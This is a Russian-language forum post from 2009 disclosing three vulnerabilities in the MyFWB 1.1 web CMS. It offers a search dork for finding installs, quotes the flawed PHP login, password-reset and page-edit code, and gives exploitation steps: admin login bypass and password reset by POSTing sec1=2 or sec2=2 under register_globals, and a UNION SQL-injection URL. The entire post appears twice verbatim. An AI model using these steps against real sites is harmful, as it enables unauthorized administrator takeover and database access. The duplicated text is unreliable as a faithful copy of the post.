Iceangel_
16.04.2009, 12:53
Уязвимости MyFWB 1.1
download: http://myfwb.co.cc/downloads/myfwb_1.1_FS_edition.zip
dork: "Powered by MyFWB 1.1"
1) [bypass] (требования: register_globals=on)
/includes/core_admin_login.php
уязвимый код:
elseif($_GET["action"] == log_in_now)
{
$admin_user = secure("$_POST[admin_user]");
$admin_pass_1 = secure("$_POST[admin_pass]");
$admin_pass_2 = md5("$admin_pass_1");
$admin_pass = base64_encode("$admin_pass_2");
$query_login = mysql_query("select * from user where userid=1");
$data_user_info = mysql_fetch_array($query_login);
$data_user = $data_user_info['username'];
$data_password = $data_user_info['password'];
if($data_user == $admin_user)
{
$sec1 = 1;
}else
{
echo "<b>Sorry,...</b>";
echo $data_pass;
}
if($admin_pass == $data_password)
{
$sec2 = 1;
}else
{
echo "<br><b>Sorry, ...";
}
$security = $sec1 + $sec2;
if($security == 2) //забавная проверка, передаем в переменной $sec1 или $sec2 значение 2, и вуаля, проверка пройдена
{
$_SESSION["admin_permission"] = "Yes";
эксплуатирование:
/admincp/?action=log_in_now, ставим заведомо ложные логин и пасс и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/
2) [admin pass update] (требования: register_globals=on)
/includes/core_admin_login.php
уязвимый код:
elseif($_GET["action"] == "forgot_password_now")
{
$admin_user = secure("$_POST[admin_user]");
$admin_secret = secure("$_POST[admin_secret]");
$query_info = mysql_query("select username, secret from user where userid=1");
$query_info_back = mysql_fetch_array($query_info);
$user_name = $query_info_back['username'];
$user_secret = $query_info_back['secret'];
if($admin_user == $user_name)
{
$sec1 = 1;
}else
{
echo "<b>Sorry, /--/";
}
if($admin_secret == $user_secret)
{
$sec2 = 1;
}else
{
echo "<br><b>Sorry, /--/";
}
$security = $sec1 + $sec2;
if($security == 2)
{
$new_pass = session_id();
$new_pass1 = md5("$new_pass");
$new_pass_final = base64_encode("$new_pass1");
$query_new_pass = mysql_query("update user set password = '$new_pass_final' where userid=1");
echo "/--/ $new_pass /--/"; //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно пройти в админку и поставить более короткий
эксплуатирование:
ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом
3) [SQL-injection] (требования: register_globals=on, доступ в админ панель)
\includes\editor_edit.php
уязвимый код:
if($_GET["action"] == "edit" && $_GET["pageid"] && $_GET["securekey"] == $sid)
{
$page_to_edit = $_GET["pageid"];
$connect = mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB");
mysql_select_db("$db_name") or die("can't select the DB");
$query_getting_page = mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit");
$page_edit = mysql_fetch_array($query_getting_page);
эксплуатирование:
/admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=<значение переменной securekey из урла>
download: http://myfwb.co.cc/downloads/myfwb_1.1_FS_edition.zip
dork: "Powered by MyFWB 1.1"
1) [bypass] (требования: register_globals=on)
/includes/core_admin_login.php
уязвимый код:
elseif($_GET["action"] == log_in_now)
{
$admin_user = secure("$_POST[admin_user]");
$admin_pass_1 = secure("$_POST[admin_pass]");
$admin_pass_2 = md5("$admin_pass_1");
$admin_pass = base64_encode("$admin_pass_2");
$query_login = mysql_query("select * from user where userid=1");
$data_user_info = mysql_fetch_array($query_login);
$data_user = $data_user_info['username'];
$data_password = $data_user_info['password'];
if($data_user == $admin_user)
{
$sec1 = 1;
}else
{
echo "<b>Sorry,...</b>";
echo $data_pass;
}
if($admin_pass == $data_password)
{
$sec2 = 1;
}else
{
echo "<br><b>Sorry, ...";
}
$security = $sec1 + $sec2;
if($security == 2) //забавная проверка, передаем в переменной $sec1 или $sec2 значение 2, и вуаля, проверка пройдена
{
$_SESSION["admin_permission"] = "Yes";
эксплуатирование:
/admincp/?action=log_in_now, ставим заведомо ложные логин и пасс и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/
2) [admin pass update] (требования: register_globals=on)
/includes/core_admin_login.php
уязвимый код:
elseif($_GET["action"] == "forgot_password_now")
{
$admin_user = secure("$_POST[admin_user]");
$admin_secret = secure("$_POST[admin_secret]");
$query_info = mysql_query("select username, secret from user where userid=1");
$query_info_back = mysql_fetch_array($query_info);
$user_name = $query_info_back['username'];
$user_secret = $query_info_back['secret'];
if($admin_user == $user_name)
{
$sec1 = 1;
}else
{
echo "<b>Sorry, /--/";
}
if($admin_secret == $user_secret)
{
$sec2 = 1;
}else
{
echo "<br><b>Sorry, /--/";
}
$security = $sec1 + $sec2;
if($security == 2)
{
$new_pass = session_id();
$new_pass1 = md5("$new_pass");
$new_pass_final = base64_encode("$new_pass1");
$query_new_pass = mysql_query("update user set password = '$new_pass_final' where userid=1");
echo "/--/ $new_pass /--/"; //новым пассом будет сгенеренный мд5 хеш, но вы не пугайтесь, можно пройти в админку и поставить более короткий
эксплуатирование:
ставим заведомо ложные логин и секьюрити кей, и отправляем в POST-пакете $sec2=2 или $sec1=2, и идем в /admincp/ и логинимся с полученным из поля пассом
3) [SQL-injection] (требования: register_globals=on, доступ в админ панель)
\includes\editor_edit.php
уязвимый код:
if($_GET["action"] == "edit" && $_GET["pageid"] && $_GET["securekey"] == $sid)
{
$page_to_edit = $_GET["pageid"];
$connect = mysql_connect("$db_host","$db_user","$db_pass") or die("can't connect to DB");
mysql_select_db("$db_name") or die("can't select the DB");
$query_getting_page = mysql_query("select pageid, pagetitle, page_content from site where pageid=$page_to_edit");
$page_edit = mysql_fetch_array($query_getting_page);
эксплуатирование:
/admincp/?action=edit&pageid=-3+union+select+1,2,3--&securekey=<значение переменной securekey из урла>